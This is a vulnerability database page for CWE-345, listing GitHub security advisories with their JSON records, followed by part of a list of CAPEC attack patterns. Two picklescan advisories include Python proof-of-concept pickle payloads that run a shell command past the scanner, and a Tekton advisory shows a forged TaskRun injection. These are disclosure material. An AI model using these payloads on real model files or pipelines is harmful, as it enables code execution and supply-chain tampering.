CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
933 vulnerabilities reference this CWE, most recent first.
GHSA-VR7H-P6MM-WPMH
Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2025-08-22 16:58Summary
Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
def __reduce__(self):
code = '__import__("os").system("whoami")'
glob = {}
loc = {}
return unsupported_tensor_ops.execWrapper, (code, glob, loc)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.27"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T16:58:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUsing torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nimport torch.jit.unsupported_tensor_ops as unsupported_tensor_ops\n\nclass EvilTorchJitUnsupportedTensorOpsExecWrapper:\n def __reduce__(self):\n code = \u0027__import__(\"os\").system(\"whoami\")\u0027\n glob = {}\n loc = {}\n return unsupported_tensor_ops.execWrapper, (code, glob, loc)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
"id": "GHSA-vr7h-p6mm-wpmh",
"modified": "2025-08-22T16:58:06Z",
"published": "2025-08-22T16:58:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vr7h-p6mm-wpmh"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/47"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper"
}
GHSA-VRP7-HQRC-F29Q
Vulnerability from github – Published: 2024-01-16 09:30 – Updated: 2025-06-02 18:30Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2023-52109"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-16T08:15:08Z",
"severity": "HIGH"
},
"details": "Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-vrp7-hqrc-f29q",
"modified": "2025-06-02T18:30:25Z",
"published": "2024-01-16T09:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52109"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/1"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VRXP-MG9F-HWF3
Vulnerability from github – Published: 2021-09-22 20:37 – Updated: 2021-09-21 21:51Impact
Authenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).
Patches
The problem has been fixed in version 0.3.0.
Workarounds
Exploiting this vulnerability is dependent on the specific policy applied.
For more information
If you have any questions or comments about this advisory: * Open an issue in in-toto-golang * Email us at in-toto-public * If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/in-toto/in-toto-golang"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-41087"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-21T21:51:18Z",
"nvd_published_at": "2021-09-21T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nAuthenticated attackers posing as functionaries (i.e., within a trusted set of users for a layout) are able to create attestations that may bypass DISALLOW rules in the same layout. An attacker with access to trusted private keys, may issue an attestation that contains a disallowed artifact by including path traversal semantics (e.g., foo vs dir/../foo).\n\n### Patches\nThe problem has been fixed in version 0.3.0.\n\n### Workarounds\nExploiting this vulnerability is dependent on the specific policy applied.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [in-toto-golang](http://github.com/in-toto/in-toto-golang)\n* Email us at [in-toto-public](mailto:in-toto-public@googlegroups.com)\n* If this is a sensitive security-relevant disclosure, please send a PGP encrypted email to santiagotorres@purdue.edu or jcappos@nyu.edu\n",
"id": "GHSA-vrxp-mg9f-hwf3",
"modified": "2021-09-21T21:51:18Z",
"published": "2021-09-22T20:37:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/security/advisories/GHSA-vrxp-mg9f-hwf3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41087"
},
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/commit/f2c57d1e0f15e3ffbeac531829c696b72ecc4290"
},
{
"type": "PACKAGE",
"url": "https://github.com/in-toto/in-toto-golang"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improperly Implemented path matching for in-toto-golang"
}
GHSA-VV38-4298-RC55
Vulnerability from github – Published: 2022-05-14 04:03 – Updated: 2022-05-14 04:03A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.
{
"affected": [],
"aliases": [
"CVE-2017-14091"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-16T02:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Trend Micro ScanMail for Exchange 12.0 exists in which certain specific installations that utilize a uncommon feature - Other Update Sources - could be exploited to overwrite sensitive files in the ScanMail for Exchange directory.",
"id": "GHSA-vv38-4298-rc55",
"modified": "2022-05-14T04:03:22Z",
"published": "2022-05-14T04:03:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14091"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/1118486"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/trend-micro-scanmail-microsoft-exchange-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VV6J-3G6G-2PVJ
Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2025-08-22 16:58Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.27"
},
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-22T16:58:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n def __reduce__(self):\n return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n def __reduce__(self):\n evil_payload = pickle.dumps(Evil())\n return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
"id": "GHSA-vv6j-3g6g-2pvj",
"modified": "2025-08-22T16:58:14Z",
"published": "2025-08-22T16:58:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/47"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config"
}
GHSA-VXF4-QH89-W2R6
Vulnerability from github – Published: 2022-05-17 04:11 – Updated: 2025-11-03 21:30The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port. NOTE: this issue might overlap CVE-2015-3459.
{
"affected": [],
"aliases": [
"CVE-2014-5406"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-07-06T19:59:00Z",
"severity": "HIGH"
},
"details": "The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port. NOTE: this issue might overlap CVE-2015-3459.",
"id": "GHSA-vxf4-qh89-w2r6",
"modified": "2025-11-03T21:30:29Z",
"published": "2022-05-17T04:11:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5406"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2015/icsa-15-125-01.json"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-125-01"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-15-125-01"
},
{
"type": "WEB",
"url": "https://xs-sniper.com/blog/2015/06/08/hospira-plum-a-infusion-pump-vulnerabilities"
},
{
"type": "WEB",
"url": "http://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm446809.htm"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VXPM-8HCP-QH27
Vulnerability from github – Published: 2023-02-03 21:07 – Updated: 2023-02-15 18:38Impact
If JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.
Patches
The problem has been fixed with version 5.4.4
Workarounds
Disable the aforementioned payment methods or use the Security Plugin in version >= 1.0.21.
References
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "swag/paypal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-23941"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-03T21:07:28Z",
"nvd_published_at": "2023-02-03T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nIf JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.\n\n### Patches\nThe problem has been fixed with version 5.4.4\n\n### Workarounds\nDisable the aforementioned payment methods or use the Security Plugin in version \u003e= 1.0.21.\n\n### References\n[Shopware blog post](https://news.shopware.com/security-issue-in-paypal-plugin-update-required)\n",
"id": "GHSA-vxpm-8hcp-qh27",
"modified": "2023-02-15T18:38:53Z",
"published": "2023-02-03T21:07:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopware/SwagPayPal/security/advisories/GHSA-vxpm-8hcp-qh27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23941"
},
{
"type": "WEB",
"url": "https://github.com/shopware/SwagPayPal/commit/57db5f4a57ef0a1646b509b415de9f03bf441b08"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopware/SwagPayPal"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Payment information sent to PayPal not necessarily identical to created order"
}
GHSA-W2H3-VVVQ-3M53
Vulnerability from github – Published: 2023-07-07 18:46 – Updated: 2023-07-07 18:46Summary
Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.
We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.
Details
While we store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference, we only store (api version, kind, name) in the ChildStatusReference .
This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.
I believe this is also true for TaskRuns -> Pods since it looks like we only lookup by name, though I haven't tested this.
If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)
PoC
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: PipelineRun
metadata:
name: hello-pr
spec:
pipelineSpec:
tasks:
- name: task1
taskSpec:
steps:
- name: echo
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
sleep 60
- name: task2
runAfter: [task1]
taskSpec:
steps:
- name: echo
image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
script: |
echo "asdf" > $(results.foo.path)
results:
- name: foo
results:
- name: foo
value: $(tasks.task2.results.foo)
Once this is running, grab the PR UID:
$ k get pr hello-pr -o json | jq .metadata.uid -r
While pipeline is running task 1, start fake task 2:
apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: TaskRun
metadata:
annotations:
labels:
[app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines
[tekton.dev/memberOf](http://tekton.dev/memberOf): tasks
[tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr
[tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr
[tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2
name: hello-pr-task2
namespace: default
ownerReferences:
- apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
blockOwnerDeletion: true
controller: true
kind: PipelineRun
name: hello-pr
uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step
spec:
serviceAccountName: default
taskSpec:
results:
- name: foo
type: string
steps:
- image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
name: echo
resources: {}
script: |
echo "zxcv" > $(results.foo.path)
Get pipeline results - it shows the output of the 2nd injected TaskRun
$ k get pr -o json hello-pr | jq .status.pipelineResults
[
{
"name": "foo",
"value": "zxcv\n"
}
]
Impact
This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.
Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/tektoncd/pipeline"
},
"ranges": [
{
"events": [
{
"introduced": "0.35.0"
},
{
"last_affected": "0.52.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37264"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-07T18:46:19Z",
"nvd_published_at": "2023-07-07T17:15:10Z",
"severity": "LOW"
},
"details": "### Summary\nPipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.\n\nWe should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. \n\n### Details\nWhile we [store and validate the PipelineRun\u0027s (api version, kind, name, uid) in the child Run\u0027s OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) .\n\nThis means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.\n\nI believe this is also true for [TaskRuns -\u003e Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven\u0027t tested this.\n\nIf you have update permissions on tekton resources, you could also perform a similar bypass like this (because it\u0027s difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)\n\n### PoC\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: PipelineRun\nmetadata:\n name: hello-pr\nspec:\n pipelineSpec:\n tasks:\n - name: task1\n taskSpec:\n steps:\n - name: echo\n image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n script: |\n sleep 60\n - name: task2\n runAfter: [task1]\n taskSpec:\n steps:\n - name: echo\n image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n script: |\n echo \"asdf\" \u003e $(results.foo.path)\n results:\n - name: foo\n results:\n - name: foo\n value: $(tasks.task2.results.foo)\n```\n\nOnce this is running, grab the PR UID:\n\n```sh\n$ k get pr hello-pr -o json | jq .metadata.uid -r\n```\n\nWhile pipeline is running task 1, start fake task 2:\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: TaskRun\nmetadata:\n annotations:\n labels:\n [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines\n [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks\n [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr\n [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr\n [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2\n name: hello-pr-task2\n namespace: default\n ownerReferences:\n - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\n blockOwnerDeletion: true\n controller: true\n kind: PipelineRun\n name: hello-pr\n uid: af549647-4532-468b-90c5-29122a408f8d \u003c--- this should be UID of PR fetched in last step\nspec:\n serviceAccountName: default\n taskSpec:\n results:\n - name: foo\n type: string\n steps:\n - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n name: echo\n resources: {}\n script: |\n echo \"zxcv\" \u003e $(results.foo.path)\n```\n\nGet pipeline results - it shows the output of the 2nd injected TaskRun\n\n```\n$ k get pr -o json hello-pr | jq .status.pipelineResults\n[\n {\n \"name\": \"foo\",\n \"value\": \"zxcv\\n\"\n }\n]\n```\n\n### Impact\n\nThis can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. **If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities**.\n\nWorst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.",
"id": "GHSA-w2h3-vvvq-3m53",
"modified": "2023-07-07T18:46:19Z",
"published": "2023-07-07T18:46:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-w2h3-vvvq-3m53"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37264"
},
{
"type": "PACKAGE",
"url": "https://github.com/tektoncd/pipeline"
},
{
"type": "WEB",
"url": "https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pipelines do not validate child UIDs"
}
GHSA-W2QF-83RM-PRJ9
Vulnerability from github – Published: 2026-01-06 03:31 – Updated: 2026-01-06 21:30Insufficient Verification of Data Authenticity vulnerability in TECNO Mobile com.Afmobi.Boomplayer allows Authentication Bypass.This issue affects com.Afmobi.Boomplayer: 7.4.63.
{
"affected": [],
"aliases": [
"CVE-2025-15385"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-06T02:15:41Z",
"severity": "CRITICAL"
},
"details": "Insufficient Verification of Data Authenticity vulnerability in TECNO Mobile com.Afmobi.Boomplayer allows Authentication Bypass.This issue affects com.Afmobi.Boomplayer: 7.4.63.",
"id": "GHSA-w2qf-83rm-prj9",
"modified": "2026-01-06T21:30:30Z",
"published": "2026-01-06T03:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15385"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/securityUpdates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W38V-JXMP-5HF2
Vulnerability from github – Published: 2024-03-18 15:30 – Updated: 2025-03-10 21:31Unitronics Unistream Unilogic – Versions prior to 1.35.227 -
CWE-348: Use of Less Trusted Source may allow RCE
{
"affected": [],
"aliases": [
"CVE-2024-27773"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-18T14:15:09Z",
"severity": "HIGH"
},
"details": "Unitronics Unistream Unilogic \u2013 Versions prior to 1.35.227 -\n\nCWE-348: Use of Less Trusted Source may allow RCE",
"id": "GHSA-w38v-jxmp-5hf2",
"modified": "2025-03-10T21:31:08Z",
"published": "2024-03-18T15:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27773"
},
{
"type": "WEB",
"url": "https://claroty.com/team82/blog/new-critical-vulnerabilities-in-unitronics-unistream-devices-uncovered"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
